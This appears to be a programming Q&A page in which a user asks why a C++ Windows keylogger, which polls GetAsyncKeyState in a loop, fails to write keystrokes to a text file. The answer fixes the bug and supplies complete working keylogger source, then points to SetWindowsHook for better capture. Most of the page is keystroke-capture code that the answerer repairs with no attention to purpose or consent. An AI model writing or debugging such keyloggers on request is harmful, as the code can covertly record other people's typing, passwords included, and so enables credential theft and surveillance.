Search code examples
c++winapiofstreamfile-writingkeylogger

Cannot write keystroke to Notepad in C++


(C++ 17) I am writing a keylogger that writes the keystrokes onto a notepad but I am having trouble writing to the notepad. I created a function that gets called in a while true loop with a 175ms delay.

std::ofstream keyLogs;
keyLogs.open("C:\\Users\\smart\\Desktop\\Text Files\\Key Log.txt");
char toChar;

if (capital) // Capital is parameter
{
    keyLogs << "Printed, 1." 
    for (int ascii = 32; ascii <= 126; ascii++)
    {
        keyLogs << "Printed, 2." 
        if (GetAsyncKeyState(ascii))
        {
            keyLogs << "Printed, 3." 
            toChar = char(ascii); // Turns ascii to char 
            if (((GetKeyState(VK_SHIFT) & 0x8000) != 0) && ascii >= 49 && ascii <= 57)
            {
                if (ascii == 49) { toChar = '!'; }
                else if (ascii == 50) { toChar = '@'; }
                else if (ascii == 51) { toChar = '#'; }
                else if (ascii == 52) { toChar = '$'; }
                else if (ascii == 53) { toChar = '%'; }
                else if (ascii == 54) { toChar = '^'; }
                else if (ascii == 55) { toChar = '&'; }
                else if (ascii == 56) { toChar = '*'; }
                else if (ascii == 57) { toChar = '('; }
            }
            keyLogs << toChar << "\n";
            std::cout << toChar << std::endl;
            keyLogs.close();
        }
    }
}

When I execute the code, the program writes Printed 1 and 2 onto the notepad fine but stops after that. It's not that the program can't reach it because all my keystrokes are printed onto the console. I have also gotten many other keylogger repos but they all share the same problem of not being able to record the keystroke onto the notepad. I tried disabling my anti-virus and then running the code but it still did not work.


Edit:

// headerFile.h
extern std::ofstream keyLogs;
void GetKeyPressed(bool capital);

// define.cpp
std::ofstream keyLogs("C:\\Example\\Example.txt");

// Defines GetKeyState function
void GetKeyPressed(bool capital)
{
    char toChar;
     // If capital true
    if (capital)
    {
        for (int ascii = 32; ascii <= 126; ascii++)
        {
            if (GetAsyncKeyState(ascii))
            {
                // Turns ascii to char 
                toChar = char(ascii);
                keyLogs << toChar;

                if (((GetKeyState(VK_SHIFT) & 0x8000) != 0) && ascii >= 49 && ascii <= 57)
                {
                    if (ascii == 49) { toChar = '!'; }
                    else if (ascii == 50) { toChar = '@'; }
                    else if (ascii == 51) { toChar = '#'; }
                    else if (ascii == 52) { toChar = '$'; }
                    else if (ascii == 53) { toChar = '%'; }
                    else if (ascii == 54) { toChar = '^'; }
                    else if (ascii == 55) { toChar = '&'; }
                    else if (ascii == 56) { toChar = '*'; }
                    else if (ascii == 57) { toChar = '('; }
                }
                keyLogs << toChar << "\n";
                // std::cout << toChar << std::endl;
            }
        }
    }

// main.cpp
#include "headerFile.h"
int main()
{
    keyLogs.open("C:\\Example\\Example.txt");
    while (true)
    {
        // If capital or shift are being held down
        if ((GetKeyState(VK_CAPITAL) & 0x0001 || GetKeyState(VK_SHIFT) & 0x8000) != 0)
        {
            // If both are being held down
            if ((GetKeyState(VK_CAPITAL) & 0x0001 && GetKeyState(VK_SHIFT) & 0x8000) != 0) { GetKeyPressed(false); }
            else { GetKeyPressed(true); }
        }

        // If capital and shift are not toggled
        if ((GetKeyState(VK_CAPITAL) & 0x0001 || GetKeyState(VK_SHIFT) & 0x8000) == 0)
            GetKeyPressed(false);

        Sleep(175);
    }
    keyLogs.close();
}


Solution

  • If you only look at the error in the code, because the file stream of keyLogs in the loop has been closed when the function is executed for the first time. So your key information will not be written into the file later, you can define keyLogs as a global variable.

    This is the modified code, you can refer to:

    #include <iostream>
    #include <fstream>
    #include <windows.h>
    using namespace std;
    std::ofstream keyLogs;
    
    void f()
    {
        char toChar;
        if (true) // I use true just test
        {
            //keyLogs << "Printed, 1.";
            for (int ascii = 32; ascii <= 126; ascii++)
            {
                //keyLogs << "Printed, 2.";
                if (GetAsyncKeyState(ascii))
                {
                    keyLogs << "Printed, 3.";
                    toChar = char(ascii); // Turns ascii to char 
                    if (((GetKeyState(VK_SHIFT) & 0x8000) != 0) && ascii >= 49 && ascii <= 57)
                    {
                        if (ascii == 49) { toChar = '!'; }
                        else if (ascii == 50) { toChar = '@'; }
                        else if (ascii == 51) { toChar = '#'; }
                        else if (ascii == 52) { toChar = '$'; }
                        else if (ascii == 53) { toChar = '%'; }
                        else if (ascii == 54) { toChar = '^'; }
                        else if (ascii == 55) { toChar = '&'; }
                        else if (ascii == 56) { toChar = '*'; }
                        else if (ascii == 57) { toChar = '('; }
                    }
                    keyLogs << toChar << "\n";
                    //std::cout << toChar << std::endl;
                }
            }
        }
    }
    
    
    int main(int argc, const char* argv[])
    {
        keyLogs.open("D:\\test\\test.txt");
        while (true)
        {
            f();
            Sleep(175);
        }
        keyLogs.close();
    
        return 0;
    }
    

    Of course, I recommend you to use SetWindowsHook to achieve keyboard recording.You can refer to : C++/Win32: Keyboard input to a non-foreground window